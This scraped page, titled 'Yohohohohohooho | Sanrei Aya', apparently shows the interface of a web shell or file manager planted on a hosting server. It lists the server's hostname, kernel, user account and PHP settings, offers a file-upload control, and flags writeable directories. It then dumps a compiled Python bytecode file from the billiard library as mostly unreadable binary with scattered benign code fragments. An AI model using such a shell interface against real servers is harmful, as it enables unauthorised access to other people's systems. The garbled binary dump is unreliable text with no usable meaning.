Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /usr/local/lib/python3.9/site-packages/billiard/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lib/python3.9/site-packages/billiard/__pycache__/util.cpython-39.pyc
a

��Shs�@sVddlZddlZddlZddlZzddlZWneyFddlZYn0zddlmZWneyrdd�ZYn0ddl	m
Z
mZmZm
Z
mZmZmZmZmZmZmZmZmZddlmZgd�Zd	ZdZdZd
ZdZdZd
Z dZ!dZ"dZ#dZ$da%da&dd�Z'dd�Z(dd�Z)dd�Z*dd�Z+dd�Z,dd �Z-d)d!d"�Z.d#d$�Z/d%d&�Z0d'd(�Z1dS)*�N)�_args_from_interpreter_flagscCstddddddddd	d
d�
}g}|��D].\}}ttj|�}|dkr&|�d
||�q&tjD]}|�d|�q\|S)zrReturn a list of command-line arguments reproducing the current
        settings in sys.flags and sys.warnoptions.�d�O�B�s�S�E�v�b�R�3)
�debug�optimize�dont_write_bytecode�no_user_site�no_site�ignore_environment�verbose�
bytes_warning�hash_randomizationZpy3k_warningr�-z-W)�items�getattr�sys�flags�append�warnoptions)�flag_opt_map�args�flag�optr	�r!�7/usr/local/lib/python3.9/site-packages/billiard/util.pyrs&�
r)
�_afterfork_registry�_afterfork_counter�_exit_function�_finalizer_registry�_finalizer_counter�Finalize�ForkAwareLocal�ForkAwareThreadLock�get_temp_dir�
is_exiting�register_after_fork�_run_after_forkers�_run_finalizers�)�	get_errno)�	sub_debugr
�info�sub_warning�
get_logger�
log_to_stderrr+r-r,r(r*r)�SUBDEBUG�
SUBWARNING���
����(�multiprocessingz+[%(levelname)s/%(processName)s] %(message)sFcOs"trtjt|g|�Ri|��dS�N)�_logger�logr7��msgr�kwargsr!r!r"r2`sr2cOs"trtjt|g|�Ri|��dSrA)rBrC�DEBUGrDr!r!r"r
esr
cOs"trtjt|g|�Ri|��dSrA)rBrC�INFOrDr!r!r"r3jsr3cOs"trtjt|g|�Ri|��dSrA)rBrCr8rDr!r!r"r4osr4cOs"trtjt|g|�Ri|��dSrA)rBrC�WARNINGrDr!r!r"�warningssrJcOs"trtjt|g|�Ri|��dSrA)rBrC�ERRORrDr!r!r"�errorwsrLcCs�ddl}z|j|j}}Wn ty:|j|j}}Yn0|�zzts�|�t�adt_	|�
td�|�
td�t
td�r�t�t�t�t�n$tj�tdif�tj�tdif�W|�n|�0tS)z0
    Returns logger used by multiprocessing
    rNr7r8�
unregisterr!)�loggingZ_prepareForkZ
_afterFork�AttributeError�_acquireLock�_releaseLockrB�	getLogger�LOGGER_NAME�	propagate�addLevelNamer7r8�hasattr�atexitrMr%�registerZ
_exithandlers�remover)rN�acquire�releaser!r!r"r5|s&


r5cCsJddl}t�}|�t�}|��}|�|�|�|�|rB|�|�dat	S)zB
    Turn on logging and add a handler which prints to stderr
    rNT)
rNr5�	Formatter�DEFAULT_LOGGING_FORMAT�
StreamHandler�setFormatter�
addHandler�setLevel�_log_to_stderrrB)�levelrN�logger�	formatter�handlerr!r!r"r6�s



r6cCs�tj�d�st��zxdtjvrZt��}|�d�|�d�}|�	d�}|�
t|�|dWSt�
�}tj�d�}|�
tt�|��|jWSWnty�t��Yn0dS)zE
    Return the current value of the parent process death signal
    �linux�cffi�int prctl (int __option, ...);zint *Nr�	libc.so.6)r�platform�
startswith�OSError�modulesrh�FFI�cdef�new�dlopen�prctl�PR_GET_PDEATHSIG�ctypes�c_int�cdll�LoadLibrary�byref�value�	Exception)�ffi�arg�C�sig�libcr!r!r"�
get_pdeathsig�s 




r�c
Cs�tj�d�std��z^dtjvrRt��}|�d�|�d�}|�	t
|�d|��ntj
�d�}|�	t
t�|��Wn.ty�}ztd�|�WYd}~n
d}~00dS)	am
    Set the parent process death signal of the calling process to sig
    (either a signal value in the range 1..maxsig, or 0 to clear).
    This is the signal that the calling process will get when its parent dies.
    This value is cleared for the child of a fork(2) and
    (since Linux 2.4.36 / 2.6.23) when executing a set-user-ID or set-group-ID binary.
    rgz$pdeathsig is only supported on linuxrhriN�intrjz(An error occured while setting pdeathsig)rrkrlrmrnrhrorprrrs�PR_SET_PDEATHSIG�castrurwrxrvr{)rr|r~r��er!r!r"�
set_pdeathsig�s


r�cst����fdd��}|S)z&
    Automatic retry after EINTR.
    c
sLz�|i|��WStyD}zt|�tjkr0�WYd}~qd}~00qdSrA)rmr1�errnoZEINTR)rrF�exc��funcr!r"�wrapped�s
z_eintr_retry.<locals>.wrapped)�	functools�wraps)r�r�r!r�r"�_eintr_retry�sr�)N)2rr�r�rWrh�ImportErrorru�
subprocessrZmultiprocessing.utilr#r$r%r&r'r(r)r*r+r,r-r.r/�compatr1�__all__rtr��NOTSETr7rGrHr8rIrKrSr]rBrbr2r
r3r4rJrLr5r6r�r�r�r!r!r!r"�<module>
sL<	"


Yohohohohohooho | Sanrei Aya